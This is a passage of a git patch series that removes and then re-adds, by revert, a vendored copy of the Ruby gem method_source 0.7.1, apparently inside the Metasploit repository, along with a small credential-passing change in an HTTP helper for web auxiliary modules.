location of the method - def source_location - to_java.source_location(Thread.current.to_java.getContext()) - end - - else - - - # Return the source location of an instance method for Ruby 1.8. - # @return [Array] A two element array. First element is the - # file, second element is the line in the file where the - # method definition is found. - def source_location - klass = case owner - when Class - owner - when Module - method_owner = owner - Class.new { include(method_owner) } - end - - # deal with immediate values - case - when klass == Symbol - return :a.method(name).source_location - when klass == Fixnum - return 0.method(name).source_location - when klass == TrueClass - return true.method(name).source_location - when klass == FalseClass - return false.method(name).source_location - when klass == NilClass - return nil.method(name).source_location - end - - begin - Object.instance_method(:method).bind(klass.allocate).call(name).source_location - rescue TypeError - - # Assume we are dealing with a Singleton Class: - # 1. Get the instance object - # 2. Forward the source_location lookup to the instance - instance ||= ObjectSpace.each_object(owner).first - Object.instance_method(:method).bind(instance).call(name).source_location - end - end - end - end - end -end diff --git a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/lib/method_source/version.rb b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/lib/method_source/version.rb deleted file mode 100644 index b8142bfaef..0000000000 --- a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/lib/method_source/version.rb +++ /dev/null @@ -1,3 +0,0 @@ -module MethodSource - VERSION = "0.7.1" -end diff --git a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/method_source.gemspec b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/method_source.gemspec deleted file mode 100644 index 83a727d6f6..0000000000 --- a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/method_source.gemspec +++ /dev/null @@ -1,33 +0,0 @@ -# -*- encoding: utf-8 -*- - -Gem::Specification.new do |s| - s.name = "method_source" - s.version = "0.7.0" - - s.required_rubygems_version = Gem::Requirement.new(">= 0") if s.respond_to? :required_rubygems_version= - s.authors = ["John Mair (banisterfiend)"] - s.date = "2012-01-01" - s.description = "retrieve the sourcecode for a method" - s.email = "jrmair@gmail.com" - s.files = [".gemtest", ".travis.yml", ".yardopts", "Gemfile", "LICENSE", "README.markdown", "Rakefile", "lib/method_source.rb", "lib/method_source/source_location.rb", "lib/method_source/version.rb", "method_source.gemspec", "test/test.rb", "test/test_helper.rb"] - s.homepage = "http://banisterfiend.wordpress.com" - s.require_paths = ["lib"] - s.rubygems_version = "1.8.10" - s.summary = "retrieve the sourcecode for a method" - s.test_files = ["test/test.rb", "test/test_helper.rb"] - - if s.respond_to? :specification_version then - s.specification_version = 3 - - if Gem::Version.new(Gem::VERSION) >= Gem::Version.new('1.2.0') then - s.add_development_dependency(%q, ["~> 1.1.0"]) - s.add_development_dependency(%q, ["~> 0.9"]) - else - s.add_dependency(%q, ["~> 1.1.0"]) - s.add_dependency(%q, ["~> 0.9"]) - end - else - s.add_dependency(%q, ["~> 1.1.0"]) - s.add_dependency(%q, ["~> 0.9"]) - end -end diff --git a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/test/test.rb b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/test/test.rb deleted file mode 100644 index 425e56acf9..0000000000 --- a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/test/test.rb +++ /dev/null @@ -1,122 +0,0 @@ -direc = File.dirname(__FILE__) - -require 'rubygems' -require 'bacon' -require "#{direc}/../lib/method_source" -require "#{direc}/test_helper" - -describe MethodSource do - - describe "source_location (testing 1.8 implementation)" do - it 'should return correct source_location for a method' do - method(:hello).source_location.first.should =~ /test_helper/ - end - - it 'should not raise for immediate instance methods' do - [Symbol, Fixnum, TrueClass, FalseClass, NilClass].each do |immediate_class| - lambda { immediate_class.instance_method(:to_s).source_location }.should.not.raise - end - end - - it 'should not raise for immediate methods' do - [:a, 1, true, false, nil].each do |immediate| - lambda { immediate.method(:to_s).source_location }.should.not.raise - end - end - end - - before do - @hello_module_source = " def hello; :hello_module; end\n" - @hello_singleton_source = "def $o.hello; :hello_singleton; end\n" - @hello_source = "def hello; :hello; end\n" - @hello_comment = "# A comment for hello\n# It spans two lines and is indented by 2 spaces\n" - @lambda_comment = "# This is a comment for MyLambda\n" - @lambda_source = "MyLambda = lambda { :lambda }\n" - @proc_source = "MyProc = Proc.new { :proc }\n" - end - - it 'should define methods on Method and UnboundMethod and Proc' do - Method.method_defined?(:source).should == true - UnboundMethod.method_defined?(:source).should == true - Proc.method_defined?(:source).should == true - end - - describe "Methods" do - it 'should return source for method' do - method(:hello).source.should == @hello_source - end - - it 'should return source for a method defined in a module' do - M.instance_method(:hello).source.should == @hello_module_source - end - - it 'should return source for a singleton method as an instance method' do - class << $o; self; end.instance_method(:hello).source.should == @hello_singleton_source - end - - it 'should return source for a singleton method' do - $o.method(:hello).source.should == @hello_singleton_source - end - - - it 'should return a comment for method' do - method(:hello).comment.should == @hello_comment - end - - - if !is_rbx? - it 'should raise for C methods' do - lambda { method(:puts).source }.should.raise RuntimeError - end - end - end - - # if RUBY_VERSION =~ /1.9/ || is_rbx? - describe "Lambdas and Procs" do - it 'should return source for proc' do - MyProc.source.should == @proc_source - end - - it 'should return an empty string if there is no comment' do - MyProc.comment.should == '' - end - - it 'should return source for lambda' do - MyLambda.source.should == @lambda_source - end - - it 'should return comment for lambda' do - MyLambda.comment.should == @lambda_comment - end - end - # end - describe "Comment tests" do - before do - @comment1 = "# a\n# b\n" - @comment2 = "# a\n# b\n" - @comment3 = "# a\n#\n# b\n" - @comment4 = "# a\n# b\n" - @comment5 = "# a\n# b\n# c\n# d\n" - end - - it "should correctly extract multi-line comments" do - method(:comment_test1).comment.should == @comment1 - end - - it "should correctly strip leading whitespace before comments" do - method(:comment_test2).comment.should == @comment2 - end - - it "should keep empty comment lines" do - method(:comment_test3).comment.should == @comment3 - end - - it "should ignore blank lines between comments" do - method(:comment_test4).comment.should == @comment4 - end - - it "should align all comments to same indent level" do - method(:comment_test5).comment.should == @comment5 - end - end -end diff --git a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/test/test_helper.rb b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/test/test_helper.rb deleted file mode 100644 index 53da4e519c..0000000000 --- a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/test/test_helper.rb +++ /dev/null @@ -1,50 +0,0 @@ -def is_rbx? - defined?(RUBY_ENGINE) && RUBY_ENGINE =~ /rbx/ -end - -def jruby? - defined?(RUBY_ENGINE) && RUBY_ENGINE =~ /jruby/ -end - - -module M - def hello; :hello_module; end -end - -$o = Object.new -def $o.hello; :hello_singleton; end - -# A comment for hello - - # It spans two lines and is indented by 2 spaces -def hello; :hello; end - -# a -# b -def comment_test1; end - - # a - # b -def comment_test2; end - -# a -# -# b -def comment_test3; end - -# a - -# b -def comment_test4; end - - -# a - # b - # c -# d -def comment_test5; end - -# This is a comment for MyLambda -MyLambda = lambda { :lambda } -MyProc = Proc.new { :proc } - diff --git a/lib/msf/core/auxiliary/web/http.rb b/lib/msf/core/auxiliary/web/http.rb index 2ad3dbcb19..00ee6c1e5b 100644 --- a/lib/msf/core/auxiliary/web/http.rb +++ b/lib/msf/core/auxiliary/web/http.rb @@ -107,6 +107,7 @@ class Auxiliary::Web::HTTP {}, opts[:target].ssl, 'SSLv23', + nil, username, password ) @@ -299,10 +300,8 @@ class Auxiliary::Web::HTTP opts['data'] = body if body c = connect - if opts['username'] and opts['username'] != '' - c.username = opts['username'].to_s - c.password = opts['password'].to_s - end + c.username = username + c.password = password Response.from_rex_response c.send_recv( c.request_cgi( opts ), timeout ) rescue ::Timeout::Error Response.timed_out From 1407886e83a5427388f3c8046337df0bfea85fd7 Mon Sep 17 00:00:00 2001 From: David Maloney Date: Tue, 5 Mar 2013 12:34:51 -0600 Subject: [PATCH 424/448] Revert "fix a major typo snaffu" This reverts commit c639de7ccc2806110e30530aec1a689a8b293964. --- .../1.9.1/gems/method_source-0.7.1/.gemtest | 0 .../gems/method_source-0.7.1/.travis.yml | 17 ++ .../1.9.1/gems/method_source-0.7.1/.yardopts | 1 + .../1.9.1/gems/method_source-0.7.1/Gemfile | 2 + .../1.9.1/gems/method_source-0.7.1/LICENSE | 25 +++ .../gems/method_source-0.7.1/README.markdown | 91 ++++++++++ .../1.9.1/gems/method_source-0.7.1/Rakefile | 76 ++++++++ .../method_source-0.7.1/lib/method_source.rb | 163 ++++++++++++++++++ .../lib/method_source/source_location.rb | 138 +++++++++++++++ .../lib/method_source/version.rb | 3 + .../method_source-0.7.1/method_source.gemspec | 33 ++++ .../gems/method_source-0.7.1/test/test.rb | 122 +++++++++++++ .../method_source-0.7.1/test/test_helper.rb | 50 ++++++ lib/msf/core/auxiliary/web/http.rb | 7 +- 14 files changed, 725 insertions(+), 3 deletions(-) create mode 100644 lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/.gemtest create mode 100644 lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/.travis.yml create mode 100644 lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/.yardopts create mode 100644 lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/Gemfile create mode 100644 lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/LICENSE create mode 100644 lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/README.markdown create mode 100644 lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/Rakefile create mode 100644 lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/lib/method_source.rb create mode 100644 lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/lib/method_source/source_location.rb create mode 100644 lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/lib/method_source/version.rb create mode 100644 lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/method_source.gemspec create mode 100644 lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/test/test.rb create mode 100644 lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/test/test_helper.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/.gemtest b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/.gemtest new file mode 100644 index 0000000000..e69de29bb2 diff --git a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/.travis.yml b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/.travis.yml new file mode 100644 index 0000000000..ba51bba6b2 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/.travis.yml @@ -0,0 +1,17 @@ +rvm: + - 1.8.7 + - 1.9.2 + - 1.9.3 + - ree + - rbx-18mode + - rbx-19mode + - jruby + +notifications: + irc: "irc.freenode.org#pry" + recipients: + - jrmair@gmail.com + +branches: + only: + - master diff --git a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/.yardopts b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/.yardopts new file mode 100644 index 0000000000..a4e7838016 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/.yardopts @@ -0,0 +1 @@ +-m markdown diff --git a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/Gemfile b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/Gemfile new file mode 100644 index 0000000000..e45e65f871 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/Gemfile @@ -0,0 +1,2 @@ +source :rubygems +gemspec diff --git a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/LICENSE b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/LICENSE new file mode 100644 index 0000000000..d1a50d62d0 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/LICENSE @@ -0,0 +1,25 @@ +License +------- + +(The MIT License) + +Copyright (c) 2011 John Mair (banisterfiend) + +Permission is hereby granted, free of charge, to any person obtaining +a copy of this software and associated documentation files (the +'Software'), to deal in the Software without restriction, including +without limitation the rights to use, copy, modify, merge, publish, +distribute, sublicense, and/or sell copies of the Software, and to +permit persons to whom the Software is furnished to do so, subject to +the following conditions: + +The above copyright notice and this permission notice shall be +included in all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. +IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY +CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, +TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE +SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. diff --git a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/README.markdown b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/README.markdown new file mode 100644 index 0000000000..d91b810a3b --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/README.markdown @@ -0,0 +1,91 @@ +method_source +============= + +(C) John Mair (banisterfiend) 2011 + +_retrieve the sourcecode for a method_ + +*NOTE:* This simply utilizes `Method#source_location`; it + does not access the live AST. + +`method_source` is a utility to return a method's sourcecode as a +Ruby string. Also returns `Proc` and `Lambda` sourcecode. + +Method comments can also be extracted using the `comment` method. + +It is written in pure Ruby (no C). + +* Some Ruby 1.8 support now available. +* Support for MRI, RBX, JRuby, REE + +`method_source` provides the `source` and `comment` methods to the `Method` and +`UnboundMethod` and `Proc` classes. + +* Install the [gem](https://rubygems.org/gems/method_source): `gem install method_source` +* Read the [documentation](http://rdoc.info/github/banister/method_source/master/file/README.markdown) +* See the [source code](http://github.com/banister/method_source) + +Example: display method source +------------------------------ + + Set.instance_method(:merge).source.display + # => + def merge(enum) + if enum.instance_of?(self.class) + @hash.update(enum.instance_variable_get(:@hash)) + else + do_with_enum(enum) { |o| add(o) } + end + + self + end + +Example: display method comments +-------------------------------- + + Set.instance_method(:merge).comment.display + # => + # Merges the elements of the given enumerable object to the set and + # returns self. + +Limitations: +------------ + +* Occasional strange behaviour in Ruby 1.8 +* Cannot return source for C methods. +* Cannot return source for dynamically defined methods. + +Special Thanks +-------------- + +[Adam Sanderson](https://github.com/adamsanderson) for `comment` functionality. + +[Dmitry Elastic](https://github.com/dmitryelastic) for the brilliant Ruby 1.8 `source_location` hack. + +[Samuel Kadolph](https://github.com/samuelkadolph) for the JRuby 1.8 `source_location`. + +License +------- + +(The MIT License) + +Copyright (c) 2011 John Mair (banisterfiend) + +Permission is hereby granted, free of charge, to any person obtaining +a copy of this software and associated documentation files (the +'Software'), to deal in the Software without restriction, including +without limitation the rights to use, copy, modify, merge, publish, +distribute, sublicense, and/or sell copies of the Software, and to +permit persons to whom the Software is furnished to do so, subject to +the following conditions: + +The above copyright notice and this permission notice shall be +included in all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. +IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY +CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, +TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE +SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. diff --git a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/Rakefile b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/Rakefile new file mode 100644 index 0000000000..92c0234f3b --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/Rakefile @@ -0,0 +1,76 @@ +dlext = Config::CONFIG['DLEXT'] +direc = File.dirname(__FILE__) + +require 'rake/clean' +require 'rake/gempackagetask' +require "#{direc}/lib/method_source/version" + +CLOBBER.include("**/*.#{dlext}", "**/*~", "**/*#*", "**/*.log", "**/*.o") +CLEAN.include("ext/**/*.#{dlext}", "ext/**/*.log", "ext/**/*.o", + "ext/**/*~", "ext/**/*#*", "ext/**/*.obj", "**/*.rbc", + "ext/**/*.def", "ext/**/*.pdb", "**/*_flymake*.*", "**/*_flymake") + +def apply_spec_defaults(s) + s.name = "method_source" + s.summary = "retrieve the sourcecode for a method" + s.version = MethodSource::VERSION + s.date = Time.now.strftime '%Y-%m-%d' + s.author = "John Mair (banisterfiend)" + s.email = 'jrmair@gmail.com' + s.description = s.summary + s.require_path = 'lib' + + s.add_development_dependency("bacon","~>1.1.0") + s.add_development_dependency("rake", "~>0.9") + s.homepage = "http://banisterfiend.wordpress.com" + s.has_rdoc = 'yard' + s.files = `git ls-files`.split("\n") + s.test_files = `git ls-files -- test/*`.split("\n") +end + +task :test do + sh "bacon -q #{direc}/test/test.rb" +end + +desc "reinstall gem" +task :reinstall => :gems do + sh "gem uninstall method_source" rescue nil + sh "gem install #{direc}/pkg/method_source-#{MethodSource::VERSION}.gem" +end + +desc "Set up and run tests" +task :default => [:test] + +namespace :ruby do + spec = Gem::Specification.new do |s| + apply_spec_defaults(s) + s.platform = Gem::Platform::RUBY + end + + Rake::GemPackageTask.new(spec) do |pkg| + pkg.need_zip = false + pkg.need_tar = false + end + + desc "Generate gemspec file" + task :gemspec do + File.open("#{spec.name}.gemspec", "w") do |f| + f << spec.to_ruby + end + end +end + +desc "build all platform gems at once" +task :gems => [:rmgems, "ruby:gem"] + +desc "remove all platform gems" +task :rmgems => ["ruby:clobber_package"] + +desc "build and push latest gems" +task :pushgems => :gems do + chdir("#{direc}/pkg") do + Dir["*.gem"].each do |gemfile| + sh "gem push #{gemfile}" + end + end +end diff --git a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/lib/method_source.rb b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/lib/method_source.rb new file mode 100644 index 0000000000..9a3c325f75 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/lib/method_source.rb @@ -0,0 +1,163 @@ +# (C) John Mair (banisterfiend) 2011 +# MIT License + +direc = File.dirname(__FILE__) + +require "#{direc}/method_source/version" +require "#{direc}/method_source/source_location" + +module MethodSource + # Determine if a string of code is a valid Ruby expression. + # @param [String] code The code to validate. + # @return [Boolean] Whether or not the code is a valid Ruby expression. + # @example + # valid_expression?("class Hello") #=> false + # valid_expression?("class Hello; end") #=> true + def self.valid_expression?(str) + if defined?(Rubinius::Melbourne19) && RUBY_VERSION =~ /^1\.9/ + Rubinius::Melbourne19.parse_string(str) + elsif defined?(Rubinius::Melbourne) + Rubinius::Melbourne.parse_string(str) + else + catch(:valid) { + eval("BEGIN{throw :valid}\n#{str}") + } + end + true + rescue SyntaxError + false + end + + # Helper method responsible for extracting method body. + # Defined here to avoid polluting `Method` class. + # @param [Array] source_location The array returned by Method#source_location + # @return [File] The opened source file + def self.source_helper(source_location) + return nil if !source_location.is_a?(Array) + + file_name, line = source_location + File.open(file_name) do |file| + (line - 1).times { file.readline } + + code = "" + loop do + val = file.readline + code << val + + return code if valid_expression?(code) + end + end + end + + # Helper method responsible for opening source file and buffering up + # the comments for a specified method. Defined here to avoid polluting + # `Method` class. + # @param [Array] source_location The array returned by Method#source_location + # @return [String] The comments up to the point of the method. + def self.comment_helper(source_location) + return nil if !source_location.is_a?(Array) + + file_name, line = source_location + File.open(file_name) do |file| + buffer = "" + (line - 1).times do + line = file.readline + # Add any line that is a valid ruby comment, + # but clear as soon as we hit a non comment line. + if (line =~ /^\s*#/) || (line =~ /^\s*$/) + buffer << line.lstrip + else + buffer.replace("") + end + end + + buffer + end + end + + # This module is to be included by `Method` and `UnboundMethod` and + # provides the `#source` functionality + module MethodExtensions + + # We use the included hook to patch Method#source on rubinius. + # We need to use the included hook as Rubinius defines a `source` + # on Method so including a module will have no effect (as it's + # higher up the MRO). + # @param [Class] klass The class that includes the module. + def self.included(klass) + if klass.method_defined?(:source) && Object.const_defined?(:RUBY_ENGINE) && + RUBY_ENGINE =~ /rbx/ + + klass.class_eval do + orig_source = instance_method(:source) + + define_method(:source) do + begin + super + rescue + orig_source.bind(self).call + end + end + + end + end + end + + # Return the sourcecode for the method as a string + # (This functionality is only supported in Ruby 1.9 and above) + # @return [String] The method sourcecode as a string + # @example + # Set.instance_method(:clear).source.display + # => + # def clear + # @hash.clear + # self + # end + def source + if respond_to?(:source_location) + source = MethodSource.source_helper(source_location) + + raise "Cannot locate source for this method: #{name}" if !source + else + raise "#{self.class}#source not supported by this Ruby version (#{RUBY_VERSION})" + end + + source + end + + # Return the comments associated with the method as a string. + # (This functionality is only supported in Ruby 1.9 and above) + # @return [String] The method's comments as a string + # @example + # Set.instance_method(:clear).comment.display + # => + # # Removes all elements and returns self. + def comment + if respond_to?(:source_location) + comment = MethodSource.comment_helper(source_location) + + raise "Cannot locate source for this method: #{name}" if !comment + else + raise "#{self.class}#comment not supported by this Ruby version (#{RUBY_VERSION})" + end + + comment + end + end +end + +class Method + include MethodSource::SourceLocation::MethodExtensions + include MethodSource::MethodExtensions +end + +class UnboundMethod + include MethodSource::SourceLocation::UnboundMethodExtensions + include MethodSource::MethodExtensions +end + +class Proc + include MethodSource::SourceLocation::ProcExtensions + include MethodSource::MethodExtensions +end + diff --git a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/lib/method_source/source_location.rb b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/lib/method_source/source_location.rb new file mode 100644 index 0000000000..9161854819 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/lib/method_source/source_location.rb @@ -0,0 +1,138 @@ +module MethodSource + module ReeSourceLocation + # Ruby enterprise edition provides all the information that's + # needed, in a slightly different way. + def source_location + [__file__, __line__] rescue nil + end + end + + module SourceLocation + module MethodExtensions + if Proc.method_defined? :__file__ + include ReeSourceLocation + + elsif defined?(RUBY_ENGINE) && RUBY_ENGINE =~ /jruby/ + require 'java' + + # JRuby version source_location hack + # @return [Array] A two element array containing the source location of the method + def source_location + to_java.source_location(Thread.current.to_java.getContext()) + end + else + + + def trace_func(event, file, line, id, binding, classname) + return unless event == 'call' + set_trace_func nil + + @file, @line = file, line + raise :found + end + + private :trace_func + + # Return the source location of a method for Ruby 1.8. + # @return [Array] A two element array. First element is the + # file, second element is the line in the file where the + # method definition is found. + def source_location + if @file.nil? + args =[*(1..(arity<-1 ? -arity-1 : arity ))] + + set_trace_func method(:trace_func).to_proc + call(*args) rescue nil + set_trace_func nil + @file = File.expand_path(@file) if @file && File.exist?(File.expand_path(@file)) + end + return [@file, @line] if File.exist?(@file.to_s) + end + end + end + + module ProcExtensions + if Proc.method_defined? :__file__ + include ReeSourceLocation + + elsif defined?(RUBY_ENGINE) && RUBY_ENGINE =~ /rbx/ + + # Return the source location for a Proc (Rubinius only) + # @return [Array] A two element array. First element is the + # file, second element is the line in the file where the + # proc definition is found. + def source_location + [block.file.to_s, block.line] + end + else + + # Return the source location for a Proc (in implementations + # without Proc#source_location) + # @return [Array] A two element array. First element is the + # file, second element is the line in the file where the + # proc definition is found. + def source_location + self.to_s =~ /@(.*):(\d+)/ + [$1, $2.to_i] + end + end + end + + module UnboundMethodExtensions + if Proc.method_defined? :__file__ + include ReeSourceLocation + + elsif defined?(RUBY_ENGINE) && RUBY_ENGINE =~ /jruby/ + require 'java' + + # JRuby version source_location hack + # @return [Array] A two element array containing the source location of the method + def source_location + to_java.source_location(Thread.current.to_java.getContext()) + end + + else + + + # Return the source location of an instance method for Ruby 1.8. + # @return [Array] A two element array. First element is the + # file, second element is the line in the file where the + # method definition is found. + def source_location + klass = case owner + when Class + owner + when Module + method_owner = owner + Class.new { include(method_owner) } + end + + # deal with immediate values + case + when klass == Symbol + return :a.method(name).source_location + when klass == Fixnum + return 0.method(name).source_location + when klass == TrueClass + return true.method(name).source_location + when klass == FalseClass + return false.method(name).source_location + when klass == NilClass + return nil.method(name).source_location + end + + begin + Object.instance_method(:method).bind(klass.allocate).call(name).source_location + rescue TypeError + + # Assume we are dealing with a Singleton Class: + # 1. Get the instance object + # 2. Forward the source_location lookup to the instance + instance ||= ObjectSpace.each_object(owner).first + Object.instance_method(:method).bind(instance).call(name).source_location + end + end + end + end + end +end diff --git a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/lib/method_source/version.rb b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/lib/method_source/version.rb new file mode 100644 index 0000000000..b8142bfaef --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/lib/method_source/version.rb @@ -0,0 +1,3 @@ +module MethodSource + VERSION = "0.7.1" +end diff --git a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/method_source.gemspec b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/method_source.gemspec new file mode 100644 index 0000000000..83a727d6f6 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/method_source.gemspec @@ -0,0 +1,33 @@ +# -*- encoding: utf-8 -*- + +Gem::Specification.new do |s| + s.name = "method_source" + s.version = "0.7.0" + + s.required_rubygems_version = Gem::Requirement.new(">= 0") if s.respond_to? :required_rubygems_version= + s.authors = ["John Mair (banisterfiend)"] + s.date = "2012-01-01" + s.description = "retrieve the sourcecode for a method" + s.email = "jrmair@gmail.com" + s.files = [".gemtest", ".travis.yml", ".yardopts", "Gemfile", "LICENSE", "README.markdown", "Rakefile", "lib/method_source.rb", "lib/method_source/source_location.rb", "lib/method_source/version.rb", "method_source.gemspec", "test/test.rb", "test/test_helper.rb"] + s.homepage = "http://banisterfiend.wordpress.com" + s.require_paths = ["lib"] + s.rubygems_version = "1.8.10" + s.summary = "retrieve the sourcecode for a method" + s.test_files = ["test/test.rb", "test/test_helper.rb"] + + if s.respond_to? :specification_version then + s.specification_version = 3 + + if Gem::Version.new(Gem::VERSION) >= Gem::Version.new('1.2.0') then + s.add_development_dependency(%q, ["~> 1.1.0"]) + s.add_development_dependency(%q, ["~> 0.9"]) + else + s.add_dependency(%q, ["~> 1.1.0"]) + s.add_dependency(%q, ["~> 0.9"]) + end + else + s.add_dependency(%q, ["~> 1.1.0"]) + s.add_dependency(%q, ["~> 0.9"]) + end +end diff --git a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/test/test.rb b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/test/test.rb new file mode 100644 index 0000000000..425e56acf9 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/test/test.rb @@ -0,0 +1,122 @@ +direc = File.dirname(__FILE__) + +require 'rubygems' +require 'bacon' +require "#{direc}/../lib/method_source" +require "#{direc}/test_helper" + +describe MethodSource do + + describe "source_location (testing 1.8 implementation)" do + it 'should return correct source_location for a method' do + method(:hello).source_location.first.should =~ /test_helper/ + end + + it 'should not raise for immediate instance methods' do + [Symbol, Fixnum, TrueClass, FalseClass, NilClass].each do |immediate_class| + lambda { immediate_class.instance_method(:to_s).source_location }.should.not.raise + end + end + + it 'should not raise for immediate methods' do + [:a, 1, true, false, nil].each do |immediate| + lambda { immediate.method(:to_s).source_location }.should.not.raise + end + end + end + + before do + @hello_module_source = " def hello; :hello_module; end\n" + @hello_singleton_source = "def $o.hello; :hello_singleton; end\n" + @hello_source = "def hello; :hello; end\n" + @hello_comment = "# A comment for hello\n# It spans two lines and is indented by 2 spaces\n" + @lambda_comment = "# This is a comment for MyLambda\n" + @lambda_source = "MyLambda = lambda { :lambda }\n" + @proc_source = "MyProc = Proc.new { :proc }\n" + end + + it 'should define methods on Method and UnboundMethod and Proc' do + Method.method_defined?(:source).should == true + UnboundMethod.method_defined?(:source).should == true + Proc.method_defined?(:source).should == true + end + + describe "Methods" do + it 'should return source for method' do + method(:hello).source.should == @hello_source + end + + it 'should return source for a method defined in a module' do + M.instance_method(:hello).source.should == @hello_module_source + end + + it 'should return source for a singleton method as an instance method' do + class << $o; self; end.instance_method(:hello).source.should == @hello_singleton_source + end + + it 'should return source for a singleton method' do + $o.method(:hello).source.should == @hello_singleton_source + end + + + it 'should return a comment for method' do + method(:hello).comment.should == @hello_comment + end + + + if !is_rbx? + it 'should raise for C methods' do + lambda { method(:puts).source }.should.raise RuntimeError + end + end + end + + # if RUBY_VERSION =~ /1.9/ || is_rbx? + describe "Lambdas and Procs" do + it 'should return source for proc' do + MyProc.source.should == @proc_source + end + + it 'should return an empty string if there is no comment' do + MyProc.comment.should == '' + end + + it 'should return source for lambda' do + MyLambda.source.should == @lambda_source + end + + it 'should return comment for lambda' do + MyLambda.comment.should == @lambda_comment + end + end + # end + describe "Comment tests" do + before do + @comment1 = "# a\n# b\n" + @comment2 = "# a\n# b\n" + @comment3 = "# a\n#\n# b\n" + @comment4 = "# a\n# b\n" + @comment5 = "# a\n# b\n# c\n# d\n" + end + + it "should correctly extract multi-line comments" do + method(:comment_test1).comment.should == @comment1 + end + + it "should correctly strip leading whitespace before comments" do + method(:comment_test2).comment.should == @comment2 + end + + it "should keep empty comment lines" do + method(:comment_test3).comment.should == @comment3 + end + + it "should ignore blank lines between comments" do + method(:comment_test4).comment.should == @comment4 + end + + it "should align all comments to same indent level" do + method(:comment_test5).comment.should == @comment5 + end + end +end diff --git a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/test/test_helper.rb b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/test/test_helper.rb new file mode 100644 index 0000000000..53da4e519c --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/test/test_helper.rb @@ -0,0 +1,50 @@ +def is_rbx? + defined?(RUBY_ENGINE) && RUBY_ENGINE 